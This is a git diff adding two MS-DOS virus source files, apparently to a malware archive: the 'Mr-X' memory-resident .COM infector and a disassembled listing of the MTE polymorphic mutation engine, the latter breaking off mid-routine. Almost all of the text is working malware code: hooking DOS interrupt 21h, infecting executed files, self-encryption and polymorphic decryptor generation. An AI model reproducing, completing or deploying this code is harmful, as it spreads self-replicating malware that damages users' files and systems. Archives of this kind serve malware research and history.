diff --git a/MSDOS/Virus.MSDOS.Unknown.mr-x.asm b/MSDOS/Virus.MSDOS.Unknown.mr-x.asm new file mode 100644 index 00000000..8cf84839 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mr-x.asm @@ -0,0 +1,386 @@ +;****************************************************************************** +;****************************************************************************** +;**** Virus: .COM /noTBAV **** +;**** By: Ramthes Jones **** +;****************************************************************************** +;****************************************************************************** +CODE SEGMENT + + ASSUME CS:CODE, DS:CODE, ES:CODE, SS:CODE + ORG 0100h + +DELTA EQU (TWO - ONE) + +START: + JMP VIR_START + NOP + MOV AH,09h + MOV DX,OFFSET MSG + PUSH CS + POP DS + INT 21h + + INT 20h + +MSG DB 0Ah,0Dh,'Virus Mr-X activado!!!',0Ah,0Dh + DB 'Por favor no ejecute ningun archivo. Je, je, je...',0Ah,0Dh,'$' + +VIR_START: +ONE LABEL BYTE + MOV BX,015Dh + PUSH BX + MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1; Conocido + ADD SI,BX + MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1; Conocido + MOV DX,0FFCDh ; FFCD = INT FFh + CLI +BUCLE: + MOV AH,[SI] + XOR AH,00h + DB 06 DUP (90h) + MOV [bx+30],DX + +INTFFh LABEL WORD + MOV [SI],AH + MOV [bx+30],2488h + INC SI + LOOP BUCLE + + STI + JMP ATBV + +JODER: + MOV AH,4Ch + INT 21h + +ATBV: + MOV AH,30h + INT 21h + +BEGIN: + MOV AX,0ACACh + INT 21h + CMP AX,0CACAh + JE RUN_COM + JMP STAY_IN_MEMO + +RUN_COM: + PUSH CS + PUSH CS + POP DS + POP ES + POP BX + MOV DI,100h + LEA SI,[(NORMAL - OFFSET ONE) + BX] + MOVSW + MOVSB + PUSH CS + PUSH 0100h + RETF + +STAY_IN_MEMO: + MOV AH,4Ah + XOR BX,BX + INT 21h + + MOV AH,4Ah + MOV BX,0FFFFh + INT 21h + + SUB BX,61h ;101h + MOV AH,4Ah + INT 21h + + MOV AH,48h + MOV BX,60h ;100h + INT 21h + + MOV ES,AX + PUSH ES + DEC AX + MOV ES,AX + MOV ES:WORD PTR [0001h], 0008h + POP ES + + PUSH CS + POP DS + + POP SI + PUSH SI + XOR DI,DI + MOV CX,DELTA + CLD + REP MOVSB + + PUSH ES + POP DS + + MOV AX,3521h + INT 21h + POP SI + PUSH SI + MOV DS:[INT21IP - OFFSET ONE],BX + MOV DS:[INT21CS - OFFSET ONE],ES + + MOV AX,2521h + MOV DX,(OFFSET HOOK_21 - OFFSET ONE) + INT 21h + JMP RUN_COM + +HOOK_21 PROC FAR + PUSH DS + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + + CMP AX,4B00h + JE INFECT_COM + CMP AX,0ACACh + JE GIVE_MARK + JMP FIN + +GIVE_MARK: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + POP DS + MOV AX,0CACAh + IRET + +INFECT_COM: + PUSH AX + PUSH BX + PUSH DX + PUSH DS + PUSH ES + + MOV AX, CS + MOV DS, AX + MOV AX,3524h + PUSHF + CALL DWORD PTR DS:[INT21IP - OFFSET ONE] + MOV DS:[INT24IP - OFFSET ONE],BX + MOV DS:[INT24CS - OFFSET ONE],ES + + MOV AX,2524h + MOV DX,(OFFSET HOOK_24 - OFFSET ONE) + PUSHF + CALL DWORD PTR DS:[INT21IP - OFFSET ONE] + POP ES + POP DS + POP DX + POP BX + POP AX + + PUSH DX + + MOV AX,4300h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[(ATRIBUTOS - OFFSET ONE)],CX + + MOV AX,4301h + MOV CX,20h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + JC FINAL_1 + + MOV AX,3D02h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + PUSH AX + POP BX + + MOV AH,3Fh + MOV CX,2 + PUSH CS + POP DS + MOV DX,(OFFSET NORMAL - OFFSET ONE) + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + XOR SI,SI + mov ax,cs:(normal - offset one)[si] + cmp ax,'ZM' + je final_1 + jmp conti + +FINAL_1: + JMP FINAL + +CONTI: + MOV AX,5700h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[(HORA - OFFSET ONE)],CX + MOV CS:[(FECHA - OFFSET ONE)],DX + + AND CL,00011111b ; Esto es lo correcto para comprobar + CMP CL,00001101b ; si los segundos son 26 + JE FINAL_1 + + XOR AL,AL + CALL F_42h + + MOV AH,3Fh + MOV CX,3 + PUSH CS + POP DS + MOV DX,(OFFSET NORMAL - OFFSET ONE) + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AL,02h + CALL F_42h + PUSH AX + + SUB AX,3 + + MOV SI,1 + MOV CS:(BUFFER - OFFSET ONE)[SI],AL + INC SI + MOV CS:(BUFFER - OFFSET ONE)[SI],AH + + PUSH BX + MOV AH,48h + MOV BX,150h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV ES,AX + POP BX + + PUSH CS + POP DS + + XOR SI,SI + MOV DI,SI + MOV CX,OFFSET TWO - OFFSET ONE + CLD + REP MOVSB + + PUSH ES + POP DS + + POP AX ; Calculo + INC AH ; la direccion + XOR SI,SI ; donde va a + MOV [SI + 1],AL ; comenzar el + MOV [SI + 2],AH ; arch infectado + + MOV AH,2Ch + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV [SI+20],DL + + MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1 + MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1 +ENCRIPTO: + XOR ES:[SI],DL + INC SI + LOOP ENCRIPTO + + MOV AH,40h + MOV CX,DELTA + XOR DX,DX + PUSH ES + POP DS + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + JC FINAL + + MOV AH,49h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + XOR AL,AL + CALL F_42h + + MOV AH,40h + MOV CX,3 + MOV DX,(OFFSET BUFFER - OFFSET ONE) + PUSH CS + POP DS + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,5701h + MOV CX,CS:[(HORA - OFFSET ONE)] + AND CL,11100000b + OR CL,00001101b + MOV DX,CS:[(FECHA - OFFSET ONE)] + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] +FINAL: + MOV AH,3Eh + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,4301h + MOV CX,CS:[(ATRIBUTOS - OFFSET ONE)] + POP DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AX,2524h + MOV DX,CS:[INT24IP - OFFSET ONE] + MOV DS,CS:[INT24CS - OFFSET ONE] + PUSHF + CALL DWORD PTR CS:[INT21IP-OFFSET ONE] + +FIN: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + + POPF + POP DS + JMP DWORD PTR CS:[(INT21IP - OFFSET ONE)] + +F_42h PROC + MOV AH,42h + CWD + MOV CX,DX + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + RET +F_42h ENDP + +HOOK_21 ENDP + +HOOK_24 PROC + XOR AL,AL + IRET +HOOK_24 ENDP + +INT21IP DW 0 +INT21CS DW 0 +INT24IP DW 0 +INT24CS DW 0 +INT17IP DW 0 +INT17CS DW 0 +ATRIBUTOS DW 0 +HORA DW 0 +FECHA DW 0 +BUFFER DB 3 DUP(0E9h) +NORMAL DB 3 DUP(90h) +HIDDEN_MSG DB "Ramthes. World Cup'98: ARGENTINA!!" +TWO LABEL BYTE +CODE ENDS + END START \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mte.asm b/MSDOS/Virus.MSDOS.Unknown.mte.asm new file mode 100644 index 00000000..79368eef --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mte.asm @@ -0,0 +1,1577 @@ + +PAGE 59,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ MTE ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 17-Aug-91 ÛÛ +;ÛÛ Version: ÛÛ +;ÛÛ Code type: zero start ÛÛ +;ÛÛ Passes: 9 Analysis Options on: none ÛÛ +;ÛÛ ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +data_1e equ 0 ; (0000:0000=0E8h) +data_2e equ 0Ch ; (0000:000C=5) +data_3e equ 63h ; (0000:0063=0F6h) +data_4e equ 12Eh ; (0000:012E=0) +data_5e equ 132h ; (0000:0132=0F000h) +data_6e equ 134h ; (0000:0134=0E0h) +data_7e equ 13Ch ; (0000:013C=0E0h) +data_8e equ 150h ; (0000:0150=0E0h) +data_9e equ 559h ; (0000:0559=0) +data_10e equ 132h ; (0101:0132=70h) +data_11e equ 71h ; (5F44:0071=0FFh) +data_12e equ 0E7h ; (5F44:00E7=0FFFFh) +data_13e equ 116h ; (5F44:0116=0FFh) +data_14e equ 129h ; (5F44:0129=0FFh) +data_15e equ 359h ; (5F44:0359=0FFh) +data_26e equ 9101h ; (78CA:9101=0) +data_27e equ 23h ; (FFE7:0023=0) +data_28e equ 63h ; (FFE7:0063=0) +data_29e equ 129h ; (FFE7:0129=0) +data_30e equ 135h ; (FFE7:0135=0) +data_31e equ 136h ; (FFE7:0136=0) +data_32e equ 150h ; (FFE7:0150=0) +data_33e equ 159h ; (FFE7:0159=0) +data_34e equ 559h ; (FFE7:0559=0) +data_35e equ 3585h ; (FFE7:3585=36h) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +mte proc far + +start: + or byte ptr [bx+di],0 + pop es + db 'mte.ASM', 1Bh + db 88h, 1Fh, 00h, 00h, 00h + db 'Turbo Assembler Version 2.5' + db 0B4h, 88h, 0Fh, 00h, 40h,0E9h + db 0C9h, 93h, 12h, 17h, 07h + db 'mte.ASM_' + db 88h, 03h, 00h, 40h,0E9h, 4Ch + db 96h, 02h, 00h, 00h, 68h, 88h + db 03h, 00h, 40h,0A1h, 94h, 96h + db 0Ch, 00h, 05h, 5Fh, 54h, 45h + db 58h, 54h, 04h, 43h, 4Fh, 44h + db 45h, 96h, 98h, 07h, 00h, 48h + db 34h, 08h, 02h, 03h, 01h,0D7h + db 96h, 0Ch, 00h, 05h, 5Fh, 44h + db 41h, 54h, 41h, 04h, 44h, 41h + db 54h, 41h,0C2h, 98h, 07h, 00h + db 48h, 00h, 00h, 04h, 05h, 01h + db 0Fh, 96h, 08h, 00h, 06h, 44h + db 47h, 52h, 4Fh, 55h, 50h, 8Bh + db 9Ah, 06h, 00h, 06h,0FFh, 02h + db 0FFh, 01h, 59h, 8Ch, 14h, 00h + db 8, 'RND_INIT' + db 00h, 07h, 52h, 4Eh, 44h, 5Fh + db 47h, 45h, 54h, 00h,0B7h, 90h + db 10h, 00h, 00h, 00h, 00h, 00h + db 07h, 4Dh, 41h, 58h, 5Fh, 41h + db 44h, 44h, 00h, 02h, 00h, 49h + db 90h, 14h, 00h, 00h, 00h, 00h + db 00h, 0Bh + db 'MAX_ADD_LEN' + db 19h, 00h, 00h,0ECh, 90h, 11h + db 00h, 01h, 01h + db 0Ah, 'MUT_ENGIN' +data_16 db 45h + db 09h, 00h, 00h, 3Fh, 90h, 11h + db 00h, 00h, 00h, 00h, 00h + db 8, 'CODE_LEN4', 8 + db 00h,0C2h, 90h, 0Fh, 00h, 01h + db 01h + db 8, 'CODE_TOP4', 8 + db 00h,0AEh, 90h, 11h, 00h, 01h + db 01h + db 0Ah, 'CODE_START' + db 00h, 00h, 00h, 4Bh, 90h, 10h + db 00h +data_17 db 0 + db 0, 0 +data_18 db 0 + db 07h, 4Dh +data_19 db 41h + db 58h, 5Fh, 4Ch, 45h, 4Eh +data_20 db 72h +data_21 dw 5 + db 0BEh, 88h, 04h, 00h +loc_1: + inc ax + mov ds:data_26e,al ; (78CA:9101=0) + mov al,byte ptr ds:[3E8h] ; (78CA:03E8=0C3h) + add [bx+si],ax + add [di+74h],cl + inc bp + and [bx+si],dh + +locloop_2: + cmp cs:[bx+si],si + loopz locloop_2 ; Loop if zf=1, cx>0 + + push ds + push dx + push bp + call sub_2 ; (017C) + mov bx,dx + xchg ax,bp + pop dx + pop si + pop bp + sub bx,di + push bx + push di + push cx + call sub_5 ; (0222) + pop cx + pop si + mov di,data_9e ; (0000:0559=0) + sub di,cx + push di + push dx + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop cx + pop dx + pop si + sub cx,dx + sub di,dx + +mte endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near + mov ax,ds:data_31e ; (FFE7:0136=0) + neg ax + retn +sub_1 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + push es + pop ds + add cx,16h + neg cx + and cl,0FEh + jnz loc_3 ; Jump if not zero + dec cx + dec cx +loc_3: + xchg ax,di + mov ds:data_5e,ax ; (0000:0132=0F000h) +loc_4: + add ax,cx + and al,0FEh + jnz loc_5 ; Jump if not zero + dec ax + dec ax +loc_5: + push ax + xchg ax,di + mov di,data_6e ; (0000:0134=0E0h) + stosw ; Store ax to es:[di] + xchg ax,cx + stosw ; Store ax to es:[di] + xchg ax,bp + stosw ; Store ax to es:[di] + xchg ax,si + stosw ; Store ax to es:[di] + mov cl,20h ; ' ' + shl cl,cl ; Shift w/zeros fill + xor cl,20h ; ' ' + mov [di-0Dh],cl +loc_6: + pop bp + push bp + push bx + call sub_3 ; (01B2) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_3: + mov di,data_7e ; (0000:013C=0E0h) + mov cx,8 + mov al,0FFh + rep stosb ; Rep when cx >0 Store al to es:[di] + mov di,159h + mov bl,7 + call sub_4 ; (01DD) + dec di + cmp di,159h + je loc_7 ; Jump if equal + push dx + push di + push bp + mov ax,1 + call sub_6 ; (0284) + pop di + xchg ax,bp + stosw ; Store ax to es:[di] + pop di + pop dx +loc_7: + pop bx + pop ax + xor bp,bp ; Zero register + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_4: + push ax + push bx + push dx + push di + xor ax,ax ; Zero register + mov di,data_3e ; (0000:0063=0F6h) + mov cx,di + rep stosw ; Rep when cx >0 Store ax to es:[di] + mov al,4 + xchg al,[di+0Ch] + push ax + mov dx,[di+0Dh] + mov di,359h + push bp + call sub_22 ; (04C3) + pop bp + call sub_19 ; (0448) + pop ax + pop di + pop dx + mov data_20,al ; (78CA:0135=72h) + and al,1 + sub data_19,al ; (78CA:012F=41h) + push ax + call sub_23 ; (04CE) + pop ax + add [si-1Dh],al + xchg ax,bx + pop bx + sub ax,150h + jc loc_6 ; Jump if carry Set + jnz loc_8 ; Jump if not zero + cmp [si-12h],ax + jne loc_6 ; Jump if not equal +loc_8: + pop bx + retn +sub_2 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near + add cx,dx + mov dx,di + xchg ax,di + mov ax,ds:data_10e ; (0101:0132=70h) + test ax,ax + jnz loc_9 ; Jump if not zero + mov di,data_34e ; (FFE7:0559=0) +loc_9: + mov bx,data_33e ; (FFE7:0159=0) + push cx + push ax +loc_10: + cmp bx,dx + je loc_12 ; Jump if equal + dec bx + mov al,[bx] + xor al,1 + cmp al,61h ; 'a' + je loc_11 ; Jump if equal + xor al,9 +loc_11: + stosb ; Store al to es:[di] + inc cx + jmp short loc_10 ; (0236) +loc_12: + pop dx + pop ax + mov bx,data_32e ; (FFE7:0150=0) + test dx,dx + jz loc_13 ; Jump if zero + xchg ax,cx + mov al,0E9h + stosb ; Store al to es:[di] + mov bx,di + xchg ax,dx + stosw ; Store ax to es:[di] + mov di,data_34e ; (FFE7:0559=0) +loc_13: + test byte ptr ds:data_30e,8 ; (FFE7:0135=0) + jnz loc_14 ; Jump if not zero + neg cx + and cx,0Fh + mov al,90h + rep stosb ; Rep when cx >0 Store al to es:[di] +loc_14: + lea ax,[di-559h] ; Load effective addr + add [bx],ax + and al,0FEh + add ds:data_31e,ax ; (FFE7:0136=0) + call sub_1 ; (0176) + mov ds,bp + shr ax,1 ; Shift w/zeros fill + mov cx,ax + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_6: + push di + push ax + xor cx,cx ; Zero register + mov ds,cx + mov cx,cs + mov bx,1A3h + mov di,data_2e ; (0000:000C=5) + cli ; Disable interrupts + xchg cx,[di+2] + xchg bx,[di] + sti ; Enable interrupts + push cx + push bx + push di + push ds + push es + pop ds + push cs + mov bx,359h + call sub_8 ; (02E4) + xchg ax,bp + pop es + pop di + cli ; Disable interrupts + pop ax + stosw ; Store ax to es:[di] + pop ax + stosw ; Store ax to es:[di] + sti ; Enable interrupts + pop bx + push ds + pop es + mov di,data_28e ; (FFE7:0063=0) + xor si,si ; Zero register + mov cx,21h +loc_15: + xor ax,ax ; Zero register + repe scasw ; Rep zf=1+cx >0 Scan es:[di] for ax + jz loc_17 ; Jump if zero + mov ax,[di-2] + cmp ax,si + jb loc_15 ; Jump if below + mov dx,1 + xchg ax,si + mov ax,[di+40h] + cmp ax,bx + je loc_16 ; Jump if equal + or ax,ax ; Zero ? + jnz loc_15 ; Jump if not zero + lodsb ; String [si] to al + cbw ; Convrt byte to word + xchg ax,dx +loc_16: + call sub_7 ; (02DC) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_7: + mov [si],al + inc si + dec dx + jnz loc_16 ; Jump if not zero + jmp short loc_15 ; (02BA) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_8: + push es + push bx + retf ; Return far +loc_17: + pop dx + retn +sub_5 endp + + push bp + mov bp,sp + push di + push cx + push bx + push ax + mov bx,[bp+2] + mov al,[bx] + jnz loc_18 ; Jump if not zero + xchg ax,bx + mov di,offset data_16 ; (78CA:00E7=45h) + mov cx,21h + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + inc word ptr [di-44h] + mov al,ch +loc_18: + cbw ; Convrt byte to word + inc ax + add [bp+2],ax + pop ax + pop bx + pop cx + pop di + pop bp + iret ; Interrupt return + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_9 proc near + mov di,data_29e ; (FFE7:0129=0) + mov ax,101h + stosb ; Store al to es:[di] + stosw ; Store ax to es:[di] + mov ah,81h + mov ds:data_1e,ax ; (0000:0000=0E8h) +loc_19: + call sub_10 ; (0320) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_10: + xchg ax,dx + call sub_11 ; (0324) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_11: + mov bl,[di-1] + xor bh,bh ; Zero register + mov si,bx + mov cx,[si-1] + cmp ch,6 + jne loc_21 ; Jump if not equal +loc_20: + or dl,1 + jmp short loc_23 ; (034F) +loc_21: + cmp ch,86h + jne loc_22 ; Jump if not equal + xor cl,cl ; Zero register + inc bx +loc_22: + and al,[di+2] + cmp al,bl + jae $+22h ; Jump if above or = + shr bl,1 ; Shift w/zeros fill + jnc loc_23 ; Jump if carry=0 + or cl,cl ; Zero ? + jz loc_24 ; Jump if zero +loc_23: + or dl,dl ; Zero ? +loc_24: + mov al,0 + jnz loc_25 ; Jump if not zero + or bp,bp ; Zero ? + jnz loc_20 ; Jump if not zero + mov al,2 +loc_25: + or ch,ch ; Zero ? + jns loc_26 ; Jump if not sign + mov [di],si + mov al,1 +loc_26: + mov [si],al + jmp short loc_29 ; (0395) + xchg ax,dx + db 0D4h, 0Ch, 80h,0E5h, 80h, 74h + db 02h,0D0h,0E8h, 40h, 40h, 40h + db 8Ah,0E0h, 88h, 04h, 8Ah, 55h + db 0FEh, 42h, 8Ah,0F2h,0FEh,0C6h + db 88h, 75h,0FEh, 8Ah,0DAh,0B7h + db 00h, 8Ah,0CFh, 73h, 04h, 3Ch + db 06h, 72h, 02h +loc_27: + xchg cl,ch +loc_28: + xor ax,cx + mov [bx],ax +loc_29: + shl si,1 ; Shift w/zeros fill + mov [si+21h],dx + inc byte ptr [di-1] + mov al,[di-2] + cmp al,[di-1] + jb loc_ret_36 ; Jump if below + jmp loc_19 ; (031D) +loc_30: + dec bp + or dh,dh ; Zero ? + jns loc_42 ; Jump if not sign + mov dh,[si] + inc bp + jz loc_30 ; Jump if zero + dec bp + jnz loc_37 ; Jump if not zero + push bx + mov bx,offset ds:[2A7h] ; (78CA:02A7=7) + xchg al,dh + xlat cs:[bx] ; al=[al+[bx]] table + cmp al,86h + xchg al,dh + xchg ax,bx + mov cl,2Eh ; '.' + mov al,ds:data_30e ; (FFE7:0135=0) + jnz loc_32 ; Jump if not zero + test al,2 + jnz loc_31 ; Jump if not zero + mov cl,3Eh ; '>' +loc_31: + test al,4 + jmp short loc_34 ; (03DB) +loc_32: + test al,4 + jnz loc_33 ; Jump if not zero + mov cl,36h ; '6' +loc_33: + test al,2 +loc_34: + jz loc_35 ; Jump if zero + mov al,cl + stosb ; Store al to es:[di] +loc_35: + pop ax + call sub_14 ; (0421) + mov [si-1Ch],di + stosw ; Store ax to es:[di] + +loc_ret_36: + retn +loc_37: + mov dx,bp + lea bp,[di+1] ; Load effective addr +loc_38: + stc ; Set carry flag + retn + xchg ax,[bx+si] + xchg al,ds:data_35e[si] ; (FFE7:3585=36h) + out 0Ah,ax ; port 0Ah, DMA-1 mask reg bit + idiv byte ptr [bx+si-4Eh] ; al,ah rem = ax/data + cmp dh,al + je loc_ret_36 ; Jump if equal + cmp byte ptr [si-1Dh],0FFh + jne loc_42 ; Jump if not equal + push ax + or dh,dh ; Zero ? + jz loc_39 ; Jump if zero + or al,al ; Zero ? + jnz loc_41 ; Jump if not zero + mov al,dh +loc_39: + or bp,bp ; Zero ? + jnz loc_40 ; Jump if not zero + cmp al,[si] + je loc_41 ; Jump if equal +loc_40: + pop bx + or al,90h + stosb ; Store al to es:[di] + retn +loc_41: + pop ax +loc_42: + or al,18h + xchg ax,bx +sub_9 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14 proc near + stosb ; Store al to es:[di] + xchg ax,bx + mov cl,3 + shl al,cl ; Shift w/zeros fill + or al,dh + stosb ; Store al to es:[di] + retn +sub_14 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_16 proc near + mov bx,ax + shr al,1 ; Shift w/zeros fill + mov cx,ax + shl cx,1 ; Shift w/zeros fill + mov di,data_27e ; (FFE7:0023=0) +loc_43: + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_38 ; Jump if not zero + lea si,[di-22h] ; Load effective addr + shr si,1 ; Shift w/zeros fill + cmp byte ptr [si],3 + jb loc_43 ; Jump if below + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_17: + lea ax,[di-22h] ; Load effective addr + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_18: + retn +sub_16 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_19 proc near + mov al,data_18 ; (78CA:012C=0) + cbw ; Convrt byte to word + shl al,1 ; Shift w/zeros fill + call sub_16 ; (042B) + jc loc_ret_53 ; Jump if carry Set + mov ds:data_14e,al ; (5F44:0129=0FFh) +loc_44: + call sub_16 ; (042B) + jnc loc_45 ; Jump if carry=0 + xor al,al ; Zero register +loc_45: + push ax + shr al,1 ; Shift w/zeros fill + mov [bx+21h],al + shr bl,1 ; Shift w/zeros fill + lahf ; Load ah from flags + mov al,[bx] + and al,7Fh + cmp al,3 + jne loc_46 ; Jump if not equal + sahf ; Store ah into flags + jc loc_52 ; Jump if carry Set + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_21: + inc ax + jmp short loc_51 ; (04B7) +loc_46: + cmp al,4 + jne loc_48 ; Jump if not equal + sahf ; Store ah into flags + jnc loc_47 ; Jump if carry=0 + mov si,bx + mov cl,8 + rol word ptr [bx+si+21h],cl ; Rotate +loc_47: + dec ax + jmp short loc_51 ; (04B7) +loc_48: + cmp al,6 + jb loc_52 ; Jump if below + jnz loc_50 ; Jump if not zero + shl bl,1 ; Shift w/zeros fill + mov bl,[bx+22h] + shl bl,1 ; Shift w/zeros fill + mov si,[bx+21h] + xor ax,ax ; Zero register + mov dx,1 + mov cx,ax + mov di,dx +loc_49: + mov [bx+21h],di + dec si + jz loc_52 ; Jump if zero + inc si + div si ; ax,dx rem=dx:ax/reg + push dx + mul di ; dx:ax = reg * ax + sub cx,ax + xchg cx,di + mov ax,si + xor dx,dx ; Zero register + pop si + jmp short loc_49 ; (049E) +loc_50: + xor al,0Fh +loc_51: + mov [bx],al +loc_52: + pop ax + or al,al ; Zero ? + jnz loc_44 ; Jump if not zero + shr data_17,1 ; (78CA:0129=0) Shift w/zeros fill + +loc_ret_53: + retn +sub_19 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_22 proc near + mov ds:data_4e,bl ; (0000:012E=0) + push dx + push di + call sub_9 ; (0310) + pop di + pop dx + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + 